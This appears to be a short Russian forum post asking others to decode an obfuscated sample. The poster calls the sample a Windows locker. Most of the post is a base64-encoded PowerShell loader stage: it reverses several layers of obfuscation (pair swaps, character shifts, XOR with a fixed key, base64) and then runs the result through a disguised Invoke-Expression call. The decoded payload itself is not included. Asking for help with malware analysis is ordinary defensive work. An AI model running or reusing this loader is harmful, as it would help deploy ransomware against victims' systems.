IAAgACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAE8AawB2AEoASQBTAFYAbgBTAHUAaABLAG4AIAA9ACAAJwAnADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB5AHAAUwBmAHMAIAA9ACAAIgAkAEEARgBIAFEAYgB2AFkAIgA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHkAcABTAGYAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwA9ADIAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQArADEAIAAtAGwAdAAgACQAeQBwAFMAZgBzAC4ATABlAG4AZwB0AGgAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQATwBrAHYASgBJAFMAVgBuAFMAdQBoAEsAbgAgACsAPQAgACQAeQBwAFMAZgBzAFsAJABpACsAMQBdACAAKwAgACQAeQBwAFMAZgBzAFsAJABpAF0AOwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABPAGsAdgBKAEkAUwBWAG4AUwB1AGgASwBuACAAKwA9ACAAJAB5AHAAUwBmAHMAWwAkAGkAXQA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQQBGAEgAUQBiAHYAWQAgAD0AIAAkAE8AawB2AEoASQBTAFYAbgBTAHUAaABLAG4AOwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEEATQBYAFUAcgBrAFoAbwBKAEEARABLAGsAIAA9ACAAJwAnADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHAAagBLAG8AIAA9ACAAMwA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAeQBwAFMAZgBzACAAPQAgACIAJABBAEYASABRAGIAdgBZACIAOwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJAB5AHAAUwBmAHMALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQQBNAFgAVQByAGsAWgBvAEoAQQBEAEsAawAgACsAPQAgAFsAYwBoAGEAcgBdACgAWwBiAHkAdABlAF0AWwBjAGgAYQByAF0AJAB5AHAAUwBmAHMAWwAkAGkAXQAgAC0AIAAkAEIAcABqAEsAbwApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEEARgBIAFEAYgB2AFkAIAA9ACAAJABBAE0AWABVAHIAawBaAG8ASgBBAEQASwBrADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB2AHcAVQBEAGMAegBGAFgAQQBGACAAPQAgACcAJwA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAVQBxAFkAIAA9ACAAJwBtAGkAcwBQAG0AVwBFAE4AJwA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAeQBwAFMAZgBzACAAPQAgACIAJABBAEYASABRAGIAdgBZACIAOwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJAB5AHAAUwBmAHMALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdgB3AFUARABjAHoARgBYAEEARgAgACsAPQAgAFsAYwBoAGEAcgBdACgAWwBiAHkAdABlAF0AWwBjAGgAYQByAF0AJAB5AHAAUwBmAHMAWwAkAGkAXQAgAC0AYgB4AG8AcgAgAFsAYgB5AHQAZQBdAFsAYwBoAGEAcgBdACQAVQBxAFkAWwAkAGkAIAAlACAAJABVAHEAWQAuAEwAZQBuAGcAdABoAF0AKQA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABBAEYASABRAGIAdgBZACAAPQAgACQAdgB3AFUARABjAHoARgBYAEEARgA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQASABWAHkAcgBrAEsAcgB3ACAAPQAgACIAJABBAEYASABRAGIAdgBZACIAOwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEgAVgB5AHIAawBLAHIAdwAgAD0AIAAkAEgAVgB5AHIAawBLAHIAdwAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABIAFYAeQByAGsASwByAHcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQQBGAEgAUQBiAHYAWQAgAD0AIAAtAGoAbwBpAG4AIAAkAEgAVgB5AHIAawBLAHIAdwA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQQBGAEgAUQBiAHYAWQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgAkAEEARgBIAFEAYgB2AFkAIgApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEEARgBIAFEAYgB2AFkAIAB8ACAALgAgACgAIAAoAFsAUwBUAFIASQBOAEcAXQAkAHYARQByAGIAbwBTAGUAcAByAGUAZgBlAFIAZQBOAEMAZQApAFsAMQAsADMAXQArACcAeAAnAC0ASgBvAEkAbgAnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA== разкодируешь?
бл The post was merged to previous Jan 28, 2025 тут локер винды The post was merged to previous Jan 28, 2025 с нулевой